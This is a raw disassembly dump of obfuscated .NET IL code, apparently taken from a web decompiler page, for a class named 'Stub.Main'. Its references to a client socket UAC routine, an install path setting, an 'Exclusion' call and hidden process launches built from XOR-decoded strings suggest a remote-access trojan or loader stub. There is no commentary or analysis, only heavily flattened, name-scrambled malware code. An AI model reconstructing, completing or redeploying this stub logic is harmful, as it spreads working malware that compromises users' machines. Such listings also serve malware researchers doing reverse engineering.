ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d4e53517e53f4322a01129fd1400ecee
brfalse IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 7
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_3
ldc.i4 2
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_211565d2b26644ddbdb837cf9e9e9e52
brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 2
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
ldloc V_10
switch dnlib.DotNet.Emit.Instruction[]
br IL_0543: leave IL_09B2
ldc.i4.0 <null>
ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu
call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_69c013052fcf44d2b6204694e8138978
brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 1
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b4ebe58c937347369205077fe492f1ed
brfalse IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 0
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
ldc.i4 4
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_c6d7ff3a18cf471b8854e63832e743dd
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 5
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ret <null>
call System.Void Stub.Main::Exclusion()
ldc.i4 12
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldc.i4.0 <null>
ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu
call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF)
ldc.i4 13
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_2
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255
brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
nop <null>
ldc.i4 1515351469
ldc.i4 1909800451
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0f105b6618ba4105b60c300da2a58c42
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldc.i4 6
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc V_0
switch dnlib.DotNet.Emit.Instruction[]
br IL_0704: ldloc.s V_8
call System.String Stub.ClientSocket::UAC()
ldsfld f0kcAVHKKDnTA9qaud8 f0kcAVHKKDnTA9qaud8::WDGH3PM0tn
call System.Boolean f0kcAVHKKDnTA9qaud8::xZ9Xnyn2eH(System.String,f0kcAVHKKDnTA9qaud8)
brtrue IL_0731: ldloc.s V_8
ldc.i4 5
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
br IL_0643: ldloc.s V_8
ldc.i4 3
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 882264746
ldc.i4 508622031
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_34ec70f218a54aa79419f4f1f1fc5246
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd
call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa)
stelem.ref <null>
ldloc.s V_13
ldc.i4.2 <null>
ldc.i4 -1400386390
ldc.i4 5
shl <null>
ldc.i4 -1693870519
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_5d71d0531b444f739537d8fc03faf5a4
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.3 <null>
ldloc.s V_17
stelem.ref <null>
ldloc.s V_13
ldc.i4.4 <null>
ldc.i4 2031172983
ldc.i4 -1972715937
xor <null>
ldc.i4 -908804420
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d5135f5733f64121a9b3b3c512e625d0
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD
call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI)
ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3
call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1c9d0144972348edae0a08f9f03c64e1
brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 0
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldsfld yePdF4HpRFtIhQiyR6X yePdF4HpRFtIhQiyR6X::aN0HqaS5eq
call System.Diagnostics.Process yePdF4HpRFtIhQiyR6X::xZ9Xnyn2eH(System.Diagnostics.ProcessStartInfo,yePdF4HpRFtIhQiyR6X)
stloc.s V_14
ldc.i4 5
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_18940d6a81ab4f1cba7726bce1fa455e
brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 7
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 -830919920
ldc.i4 -1151935049
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_431e3ba207164089aa7901503c8f9196
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd
call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa)
stelem.ref <null>
ldloc.s V_13
ldc.i4.2 <null>
ldc.i4 -146499275
ldc.i4 -112577482
add <null>
ldc.i4 -495944183
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_48fc0e3d2f1045eebda11602c405c0a7
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.3 <null>
ldloc.s V_17
stelem.ref <null>
ldloc.s V_13
ldc.i4.4 <null>
ldc.i4 -758686241
ldc.i4 -619454025
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0b195c64432247deb96ea38d739b4747
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD
call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI)
ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3
call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_915835602374416d9c01f2036c561824
brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 4
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_14
ldsfld y7Rnk2HlR4ZaIw7br64 y7Rnk2HlR4ZaIw7br64::haAHXJYc5L
call System.Void y7Rnk2HlR4ZaIw7br64::xZ9Xnyn2eH(System.Object,y7Rnk2HlR4ZaIw7br64)
ldc.i4 8
stloc V_0
br IL_05E4: ldloc V_0
br IL_0704: ldloc.s V_8
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e5d0b7ab14c348f89e2daa40872dece4
brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 1
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.1 <null>
ldsfld bPuES4XzDykOPut5OH4 bPuES4XzDykOPut5OH4::IS6HNqhZDE
call System.Void bPuES4XzDykOPut5OH4::xZ9Xnyn2eH(System.Object,System.Diagnostics.ProcessWindowStyle,bPuES4XzDykOPut5OH4)
ldc.i4 2
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_12
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_46bda5a28d3c4ae898d8b974b7e5c526
brfalse IL_0876: switch(IL_08B1,IL_0888)
pop <null>
ldc.i4 1
br IL_0876: switch(IL_08B1,IL_0888)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_08B1: leave IL_02F1
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8
brtrue IL_0876: switch(IL_08B1,IL_0888)
pop <null>
ldc.i4 0
br IL_0876: switch(IL_08B1,IL_0888)
leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
ldc.i4 2
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 3
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_a2c6c08eb7574184935e223cb1287b5d
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_1
ldc.i4 2
stloc V_16
br IL_0015: ldloc V_16
call System.Void KbKRAxvsogQsaUeKqUF.A6gx6dvfJql0smO2B5d::kLjw4iIsCLsZtxc4lksN0j()
ldc.i4 16
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_2
ldsfld OJFEOoHamXYX7td0S3p OJFEOoHamXYX7td0S3p::KtCHuSKKUR
call System.Void OJFEOoHamXYX7td0S3p::xZ9Xnyn2eH(System.Object,OJFEOoHamXYX7td0S3p)
ldc.i4 11
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_2
ldc.i4 10
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_2094e23594db47de96097844ae2ddb61
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 8
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_1
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 8
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0332813b65b0498d88025656d114c5be
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
brfalse IL_0577: ldc.i4.0
ldc.i4 14
stloc V_16
br IL_0015: ldloc V_16
An error has occurred. This application may no longer respond until reloaded. Reload 🗙